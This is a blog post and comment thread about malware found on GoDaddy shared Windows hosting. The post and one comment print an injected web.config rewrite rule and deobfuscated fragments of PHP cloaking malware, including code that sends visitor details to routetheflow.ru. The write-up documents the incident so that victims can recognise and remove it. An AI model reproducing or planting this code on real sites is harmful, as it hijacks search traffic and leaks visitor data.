GoDaddy shared Windows hosting compromised

A week or so ago, I talked briefly about some issues I was having with this blog and my previous static site on GoDaddy’s shared Windows hosting (the Deluxe version if you’re interested). It involves mysterious PHP files and modifications to my web.config files.

Background

For me GoDaddy shared Windows hosting has always been about hosting my blog on an IIS instance. The blog is an ASP.NET application called GraffitiCMS, open-sourced a few years back, although I’ve now altered the code quite a bit, and I currently run two other blogs with it on Microsoft Azure with no issues. GoDaddy, for whatever reason, but presumably to make it easy for others to use WordPress, also run a PHP instance on the same shared hosting server. Me, I’d rather it wasn’t there. Period.

Anyway, I’m into making my sites secure. This involves (among other things) getting an SSL certificate, and I’d have to say GoDaddy rip you off a bit here: you have to buy theirs, and you have to have a certain higher level of hosting (which I don’t have). So, I’ve been moving all my domain hosting off GoDaddy and onto AWS and Azure. boyet.com is the last to be done.

I’ve already moved the static site to secondboyet.com and left a web.config here on GoDaddy with a permanent redirect in place. This blog will be moving soon (I have about 5 months left on the hosting plan I pay for) and at that point, boyet.com will have its DNS pointing to Azure. Consequently, a couple of weeks ago, I’d cleaned up my folder structures here (and files therein) to only have the bare necessities ready for this move.

And then I discovered the hacking.

The hack

In essence, every few days some process, not part of anything I run, was:

Modifying my web.config file to add a block that watched URL requests and rewrote certain ones to route to default.php instead.

    <rewrite>
      <rules>
        <rule name="Protect files and directories from prying eyes" stopProcessing="false">
          <match url="^(.*)$" ignoreCase="true" />
          <conditions logicalGrouping="MatchAny">
            <add input="{HTTP_USER_AGENT}" pattern="(bing|google|yahoo|msn|aol)" ignoreCase="true" />
            <add input="{HTTP_REFERER}" pattern="(bing|google|yahoo|msn|aol)" ignoreCase="true" />
          </conditions>
          <action type="Rewrite" url="default.php" appendQueryString="false" />
        </rule>
      </rules>
    </rewrite> 

In essence, the code says “if the HTTP user agent includes those well-known web names, or the HTTP referrer does, route to and execute default.php instead”.

Adding an human-unreadable, obfuscated default.php file. It’s one line, no line breaks, 7KB in size, that starts out like this:

<?php ${"G\x4cO\x42\x41L\x53"}["\x6d\x6bm\x6a\x6ag\x76\x6ft"]="m";[…]?>

Yes, the ellipsis hides the other 7000+ characters. There’s a site (unPHP.net) that will deobfuscate such PHP code. It is instructive to look at the results (this is only the first part):

<?php
${"GLOBALS"}["mkmjjgvot"]    = "m";
${"GLOBALS"}["ydwkqwqmmzt"]  = "scheme";
${"GLOBALS"}["kmfpgywacgx"]  = "page";
${"GLOBALS"}["wdsbtdvhyt"]   = "result";
${"GLOBALS"}["pndmnrldpis"]  = "scheme";
${"GLOBALS"}["sunctqfyxono"] = "url";
${"GLOBALS"}["gpsgtnjjhme"]  = "ch";
@error_reporting(0);
if (!function_exists("getUrla")) {
    function getUrla($url)
    {
        if (function_exists("curl_init")) {
            ${${"GLOBALS"}["gpsgtnjjhme"]} = curl_init();
            ${"GLOBALS"}["ktuqlqodikj"]    = "ch";
            ${"GLOBALS"}["nhtqvb"]         = "result";
            ${"GLOBALS"}["gufkpfcyox"]     = "ch";
            curl_setopt(${${"GLOBALS"}["gpsgtnjjhme"]}, CURLOPT_URL, ${${"GLOBALS"}["sunctqfyxono"]});
            curl_setopt(${${"GLOBALS"}["gpsgtnjjhme"]}, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
            curl_setopt(${${"GLOBALS"}["gufkpfcyox"]}, CURLOPT_TIMEOUT, 10);
            curl_setopt(${${"GLOBALS"}["gpsgtnjjhme"]}, CURLOPT_RETURNTRANSFER, true);
            ${${"GLOBALS"}["nhtqvb"]} = curl_exec(${${"GLOBALS"}["ktuqlqodikj"]});
            curl_close(${${"GLOBALS"}["gpsgtnjjhme"]});
        } else {
            ${"GLOBALS"}["ogmtlyigg"]    = "result";
            ${${"GLOBALS"}["ogmtlyigg"]} = file_get_contents(${${"GLOBALS"}["sunctqfyxono"]});
        }
        return ${${"GLOBALS"}["wdsbtdvhyt"]};
    }
}
${${"GLOBALS"}["pndmnrldpis"]} = "http://";

... more code ...

if (@file_exists("cleaner.php")) {
    include_once("cleaner.php");
}
?>

Now I don’t know PHP at all, but even this PHP-noob can spot randomized variable names being added to the global namespace. A bit later there’s even a call to a PHP page on a site called routetheflow.ru. Can you spell “hack”?

Finally, adding a file called cleaner.php, which is referenced by the final bit of that default.php file.

@touch('web.config',-1,-1); @touch('default.php',-1,-1);

(In other words, updating the timestamps for both web.config and default.php to the current time, ignoring errors.)

Checking my files

Pretty much the first thing I did was to FTP-download my entire folder structure from the hosting to my main machine. And then verified all the files to make sure that there was nothing else hiding deep in the site. Nope, nothing. The compiled ASP.NET code is exactly the same as the other two blogs I run. There were no PHP files anywhere else. I even checked every single file for the character sequence “PHP”. Nope.

Conclusion

Something else in that shared Windows hosting server has been compromised. Some other site has been hacked, and that hack is then compromising my site and hosting, and almost certainly others as well. Also, for those that don’t know, GoDaddy publishes the “Absolute Hosting Path” for your hosting: it is of the form “D:\Hosting\[7-digit-number]\html”. I wonder if that embedded number is sequential…

(Aside: I wrote all this here because I can then contact GoDaddy support and point them to this post, rather than try and explain everything from scratch.)

lots of padlocks banner

Loading similar posts...   Loading links to posts on similar topics...

25 Responses

 avatar
#1 Rich said...
19-Sep-18 11:15 AM

You seem confident godaddy support will understand your post!

julian m bucknall avatar
#2 julian m bucknall said...
11-Oct-18 4:34 PM

All: It's now been three weeks since I wrote this post and linked to it from GoDaddy's Community forums. Let's put it like this: despite my checking every day since, the hack has not recurred. I'm guessing that someone at GoDaddy saw the post, read my blog, and tracked down the shared hosting culprit and squashed it. All without responding to me in any way, shape, or form. Sigh.

I'll continue checking ad hoc when I think of doing it.

Cheers, Julian

 avatar
#3 MJ said...
20-Jan-19 9:03 PM

Thought I would add a note in case others find this blog as I did. In Dec 2018 my GoDaddy site was hijacked. Two php files were uploaded and my web config was edited. My biggest suspect at the moment is the FTP client. Not quite sure how else the attacker could have gotten to the root. GoDaddy does not offer a way to modify permissions on the primary FTP account (at least not that I have seen so far).

julian m bucknall avatar
#4 julian m bucknall said...
20-Jan-19 10:22 PM

@MJ: Now that' s an interesting thought, very interesting. One of the things I also did at the time was to reset my FTP password for the site, mainly because I was being ultra cautious. Since I use a password manager, both the original and the new password were 14 characters, utterly random. Had my previous one been leaked? Dunno.

Anyway, it's all moot now: I've just completed the migration of this blog to Azure from GoDaddy, and it is now secure as well.

Cheers, Julian

 avatar
#5 Gary Schutte said...
26-Jun-19 4:58 PM

This is my wife's goat website. I'm a website developer and built this site pretty much from scratch, using DreamWeaver as the ftp back in 2011. After Google did the big SSL scare I put one on her site as well as my own early 2018. Sometime after I ran into problems with it and the GoDaddy tech suggested I just rename the web.config file or pay them to fix it. So I did not realizing it removed the SSL. She brought it to my attention this morning.

After two calls to GoDaddy they are standing their ground; no money no fix! They did send the php to permanently redirect it, but Firefox still seems to reject it and throws the "Warning: Potential Security Risk Ahead" message.

Then I found your blog! Same exact conditions, word for word, code for code. With one exception the default.php file was called "exemplified-grumpy.php" which I found and renamed. I guess I should delete that file? The last part of the code was the same as the redirect GoDaddy sent, which is what I have in place. If you have any suggestion for me is it possible to email me?

julian m bucknall avatar
#6 julian m bucknall said...
27-Jun-19 11:16 AM

@Gary: Best bet is to email me. You can find my email address under the Contact Me menu option at the top of the page.

Cheers, Julian

 avatar
#7 Jeff Loughlin said...
17-Jul-19 11:36 AM

Here we are 10 months later, and whatever compromised your site is still out there in the GoDaddy servers. I just found the same default.php on my site, and the same modification made to my web.config. I found your blog when I googled for others with the same issue.

I removed the default.php, fixed my web.config, and changed my admin password. Will see if it comes back in a few days like yours did.

Looks like GoDaddy has a security hole they haven't identified yet... 10 months is too long.

 avatar
#8 S.F. Carpenter said...
31-Aug-19 10:02 AM

Hi,

Add me to the list of godaddy shared hosting hacked sites. My web.config file was changed just as the others with the exception that the other 2 php files had different names. Also I noticed that my original web.config file was renamed to web.config.original. Do you think it is safe to delete the two php files and reload my original web.config file from my developmental machine. Regards and Good Luck. Thanks for this blog.

S.F.

 avatar
#9 Chris Ford said...
30-Dec-19 4:02 PM

After a number of failed support calls with GoDaddy I found this blog, deleted default.pnp and Voila all is good.

Thankyou!

julian m bucknall avatar
#10 julian m bucknall said...
31-Dec-19 2:42 PM

Quick note: someone contacted me about this PHP hack just recently. I'd helped her fix her website before, but, essentially, after another four/five months, it was hacked again. I helped her move her site over to AWS before her GoDaddy hosting expired, but interestingly, they'd moved her over to Plesk in the meantime.

It seems Plesk has an option to turn off the PHP server in the hosting. I will note that I have not tried this to see if it works -- all my sites are now on Azure and AWS -- but it might be an option if this move-to-Plesk thing is something that GoDaddy are introducing across the board.

Cheers, Julian

 avatar
#11 Dion Davidson said...
14-Jan-20 3:28 PM

Same exact scenario, apparently yesterday 13 Jan 2020. My php file was named brigades-island.php. Files have been deleted. GoDaddy sold me an $880 security package for 3 years. We'll find out if it's worth it...

julian m bucknall avatar
#12 julian m bucknall said...
15-Jan-20 9:02 PM

@Dion: $880 for three years? Damn, I'm in the wrong business.

Cheers, Julian

 avatar
#13 GD said...
04-Jul-20 11:59 AM

Two years later, and GoDaddy has still left this vulnerability unmitigated. I just finished cleaning this exact same thing up for the second time. I'm not sure the attack vector is via FTP, though. I've used GoDaddy hosting for years, and it was only after they migrated hosting to Plesk that the problem started happening.

julian m bucknall avatar
#14 julian m bucknall said...
04-Jul-20 6:48 PM

@GD: Dayum. There was I thinking that moving to Plesk might mitigate the issue since you can turn off the PHP server. Maybe something else is afoot? I'll note in passing that I've been hosting this site on Microsoft Azure for 18 months now and no such bad actor event has happened.

Cheers, Julian

 avatar
#15 sony said...
18-Sep-20 6:15 AM

Similar thing happened to me too. Just Today I noticed and removed php files and modified web.config

 avatar
#16 Another infected user said...
28-Oct-20 1:14 PM

Hi Guys,

I too noticed this issue in my Windows Hosting, this had infected all the FTP users that existed in my hosting account.

GoDaddy customer support team outright refused to help stating malware attacks are not their issues. Was advised to pay for their malware removal service.

What I dont understand is ... how did the hackers get a list of the FTP users & its password, isnt this a lack of security at GoDaddys end. Damn !!! they just refused to listen OR is GoDaddy doing it willingly to make extra bucks.

 avatar
#17 Gareth said...
05-Jan-21 11:27 PM

FYI: 5th Jan 2021 and while the files are web.config, cleaner.php, and sample.php, the problem still exists.

julian m bucknall avatar
#18 julian m bucknall said...
06-Jan-21 3:38 PM

@Gareth: WTAF? It was two and a half years ago I wrote this post, and it's still going on? It's just incomprehensible.

Cheers, Julian

 avatar
#19 Jon S. said...
25-Feb-21 5:46 PM

This happened to some of my ASP.NET websites I manage with Godaddy. The PHP file names are different but the web.config file changes are the same as listed in the screenshots above. I fixed the websites the first time without searching for the problem thinking it was a Plesk migration error. My websites were recently migrated to Plesk. I do like the Plesk interface. I checked all of the websites and fixed them. Then it happened a month later. The hack also has a redirect to an erectile dysfunction website. Some redirects were 404. So watch that. I had 3 websites so far with this problem and will have to be on high alert. I disabled all PHP scripting through the Plesk interface. Hopefully that will work. It's never happened on the old Godaddy hosting servers which I was on for 12 years.

 avatar
#20 Dave said...
23-Jul-21 4:46 AM

Just found the exact same problem on a client's GoDaddy website using centering-cristionna.php. It's not been touched since last year, so not sure when it occurred.

The back-end has recently been migrated to Plesk. Will monitor, but it sounds like the answer is just to ditch GoDaddy completely if they're clearly not resolving the issue.

 avatar
#21 Dave said...
23-Jul-21 5:22 AM

Deleted offending files, changed passwords and turned off PHP. Will have to see what transpires.

As an aside, on behalf of all, many thanks for publishing your own experience and making our lives that little bit easier. I can't imagine the ensuing GoDaddy discussion if I'd tried to raise it with their support.

julian m bucknall avatar
#22 julian m bucknall said...
23-Jul-21 7:28 AM

@Dave: All I can say is bloody hell. I am amazed that, getting on for three years later, this hack is still occurring. I will note that I still regularly get script kiddies trying automated PHP hacks to get into this site, but of course failing miserably. Gah.

Cheers, Julian

 avatar
#23 Keshav Gurung said...
21-Nov-21 4:35 AM

Hi, guys. I deleted the mysterious PHP files. What should my web config look like? I don't know what to keep and what to delete. Thanks.

julian m bucknall avatar
#24 julian m bucknall said...
21-Nov-21 2:49 PM

@Keshav: Basically remove the rewrite block from the web.config file; that is, that block of code I showed above in the post.

Cheers, Julian

 avatar
#25 Robert said...
30-Jun-23 5:47 AM

something similar happened with us this morning! same domain name but code different. it was in a filed called inc.php that was in our main public_html directory... funny thing is we have a cloud hosting server with site ground that is not shared with anyone!! Siteground notified us of the malicious code with their scan. I've since paid for the premium version so that all file uploads, ftp, ssh is disabled until I enable it.

This was the code in the inc.php file after running it through unphp

${"GLOBALS"}["eoqjsmidxn"] = "m"; ${"GLOBALS"}["wrsumcpujnqq"] = "result"; ${"GLOBALS"}["lfqfnomctcai"] = "scheme"; ${"GLOBALS"}["ticmppqqy"] = "ch"; ${"GLOBALS"}["tbsjsn"] = "url"; ${"GLOBALS"}["sbxgedwqdy"] = "ip"; ${"GLOBALS"}["wotexf"] = "remote"; ${"GLOBALS"}["axyqkdgjctd"] = "forward"; ${"GLOBALS"}["hfucqnuvrv"] = "client"; @errorreporting(0); if (!functionexists("getUsrIP")) { function getUsrIP() { $vbwmsilowa = "remote"; ${"GLOBALS"}["uduuidml"] = "client"; ${${"GLOBALS"}["hfucqnuvrv"]} = @$SERVER["HTTPCLIENTIP"]; $juxhgynvkn = "ip"; ${${"GLOBALS"}["axyqkdgjctd"]} = @$SERVER["HTTPXFORWARDEDFOR"]; ${$vbwmsilowa} = $SERVER["REMOTEADDR"]; ${$juxhgynvkn} = ""; if (filtervar(${${"GLOBALS"}["uduuidml"]}, FILTERVALIDATEIP)) { ${"GLOBALS"}["rjbhqmyu"] = "ip"; ${${"GLOBALS"}["rjbhqmyu"]} = ${${"GLOBALS"}["hfucqnuvrv"]}; } elseif ( filtervar(${${"GLOBALS"}["axyqkdgjctd"]}, FILTERVALIDATEIP) ) { $xpbtdsdqpw = "forward"; ${"GLOBALS"}["csrmuuwxfl"] = "ip"; ${${"GLOBALS"}["csrmuuwxfl"]} = ${$xpbtdsdqpw}; } else { ${"GLOBALS"}["lcikehryf"] = "ip"; ${${"GLOBALS"}["lcikehryf"]} = ${${"GLOBALS"}["wotexf"]}; } return ${${"GLOBALS"}["sbxgedwqdy"]}; } } if (!functionexists("getUrla")) { function getUrla($url) { $pjjmtcrq = "result"; if (functionexists("curlinit")) { $qeoowmvmpf = "ch"; $zduzypfskws = "ch"; ${"GLOBALS"}["yrdtsjkjur"] = "ch"; ${$zduzypfskws} = curlinit(); curlsetopt( ${${"GLOBALS"}["yrdtsjkjur"]}, CURLOPTURL, ${${"GLOBALS"}["tbsjsn"]} ); curlsetopt( ${${"GLOBALS"}["ticmppqqy"]}, CURLOPTUSERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" ); curlsetopt(${${"GLOBALS"}["ticmppqqy"]}, CURLOPTTIMEOUT, 10); ${"GLOBALS"}["ktcyzk"] = "result"; curlsetopt( ${${"GLOBALS"}["ticmppqqy"]}, CURLOPTRETURNTRANSFER, true ); ${${"GLOBALS"}["ktcyzk"]} = curlexec(${${"GLOBALS"}["ticmppqqy"]}); curlclose(${$qeoowmvmpf}); } else { $glyfwtig = "url"; $wqdhni = "result"; ${$wqdhni} = filegetcontents(${$glyfwtig}); } return ${$pjjmtcrq}; } } ${${"GLOBALS"}["lfqfnomctcai"]} = "http://"; if ( pregmatch( "#(googlebot|bingbot|yahoo|msnbot|aol)#i", $SERVER["HTTPUSERAGENT"] ) || pregmatch("#(google|bing|yahoo|msn|aol)#i", @$SERVER["HTTPREFERER"]) ) { $eygourenhv = "result"; ${${"GLOBALS"}["wrsumcpujnqq"]} = getUrla( "http://routetheflow.ru/dms2.php?u=" . urlencode( "http://" . $SERVER["HTTPHOST"] . $SERVER["REQUESTURI"] ) . "&r=" . urlencode(@$SERVER["HTTPREFERER"]) . "&a=" . urlencode($SERVER["HTTPUSERAGENT"]) .

Leave a response

Note: some MarkDown is allowed, but HTML is not. Expand to show what's available.

  •  Emphasize with italics: surround word with underscores _emphasis_
  •  Emphasize strongly: surround word with double-asterisks **strong**
  •  Link: surround text with square brackets, url with parentheses [text](url)
  •  Inline code: surround text with backticks `IEnumerable`
  •  Unordered list: start each line with an asterisk, space * an item
  •  Ordered list: start each line with a digit, period, space 1. an item
  •  Insert code block: start each line with four spaces
  •  Insert blockquote: start each line with right-angle-bracket, space > Now is the time...
Preview of response